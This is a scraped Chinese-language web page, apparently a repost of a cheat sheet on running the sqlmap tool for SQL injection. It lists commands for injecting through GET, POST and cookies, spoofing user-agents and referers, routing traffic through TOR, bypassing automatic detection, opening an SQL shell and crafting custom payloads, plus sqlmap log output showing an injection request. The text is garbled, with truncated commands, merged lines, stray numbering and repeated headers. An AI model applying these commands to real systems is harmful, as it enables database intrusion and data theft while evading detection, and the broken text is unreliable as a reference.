注入常用語句:注入常用語句 T users sinp 4 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) DBMS: PostgreSQL : users id blissettnameisnull bunnyming 這個東西,是mickey整理的,不多說了,尊重一下原作者,轉載注明mi
導讀注入常用語句:注入常用語句 T users sinp 4 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) DBMS: PostgreSQL : users id blissettnameisnull bunnyming 這個東西,是mickey整理的,不多說了,尊重一下原作者,轉載注明mi
注入常用語句 T users sinp 4 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) DBMS: PostgreSQL : users id blissettnameisnull bunnyming 這個東西,是mickey整理的,不多說了,尊重一下原作者,轉載注明mickey整理就好了 21 22 更新 23
注入常用語句
T users sinp>
4
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
DBMS: PostgreSQL
: users
id blissett
nameisnull bunny
ming
這個東西,是mickey整理的,不多說了,香港服務器,尊重一下原作者,轉載注明mickey整理就好了
21
22 更新
23 svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
m=1″ -v 1 –sql-shell //執行SQL語句
m更詳細的信息
options from a configuration INI file
30 sqlmap -c sqlmap.conf
31
32 使用POST方法提交
sqlmap/oracle/post_int.php” –method POST –data “id=1″
使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData來抓cookies
sqlmap使用referer欺騙
sqlmap使用自定義user-agent,或者使用隨機使用自帶的user-agents.txt
sqlmapagent “Mozillapython sqlmap.py sqlmapa “.agents.txt”
46
47 使用基本認證
sqlmap使用Digest認證
sqlmap使用代理,配合TOR
sqlmap.1.47:3128″
sqlmap.1.47:8118″
56
57 使用多線程猜解
sqlmap–threads 繞過動態檢測,直接指定有注入點的參數,可以使用,分割多個參數,指定user-agent注入
sqlmapp “id
sqlmapcatp “cat,id”
sqlmapagent” –.7rc1 (http://sqlmap.sourceforge.net)”
64
65 指定數據庫,繞過SQLMAP的自動檢測
sqlmap/pgsql/get_int.php?id=1″ -v 2 –dbms “PostgreSQL”
MySQL
69 * Oracle
70 * PostgreSQL
71 * Microsoft SQL Server
72
73 指定操作系統,繞過SQLMAP自動檢測
sqlmap/pgsql/get_int.php?id=1″ -v 2 –os “Windows”
Linux
77 * Windows
78
79 自定義payload
80 Options: –prefix and –postfix
circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
users . “‘) LIMIT 0, 1″;:
.″ test”
87
88 [...]
89 [hh:mm:16] [INFO] testing sql injection on GET parameter ‘id’ with 0 parenthesis
90 [hh:mm:16] [INFO] testing custom injection on GET parameter ‘id’
91 [hh:mm:16] [TRAFFIC OUT] HTTP request:
92 GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
93 %28%27test%27=%27test HTTP/1.1
94 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
95 Host: 192.168.1.121:80
96 Accept-language: en-us,en;q=0.5
97 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
98 image/png,*/*;q=0.5
99 User-agent: sqlmap/0.7rc1 ()
100 Connection: close
101 [...]
102 [hh:mm:17] [INFO] GET parameter ‘id’ is custom injectable
103 [...]
104
105 As you can see, the injection payload for testing for custom injection is:
106
107 id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
108
109 which URL decoded is:
test
makes the query syntatically correct to the page query:
users (‘test’='test’) LIMIT 0, 1
116
117 In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
118
119 頁面比較
120 python sqlmap.py -u “?id=1″ –string “luther” -v 1
121 python sqlmap.py -u “?id=1″ –regexp “
注入常用語句:注入常用語句 T users sinp 4 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) DBMS: PostgreSQL : users id blissettnameisnull bunnyming 這個東西,是mickey整理的,不多說了,尊重一下原作者,轉載注明mi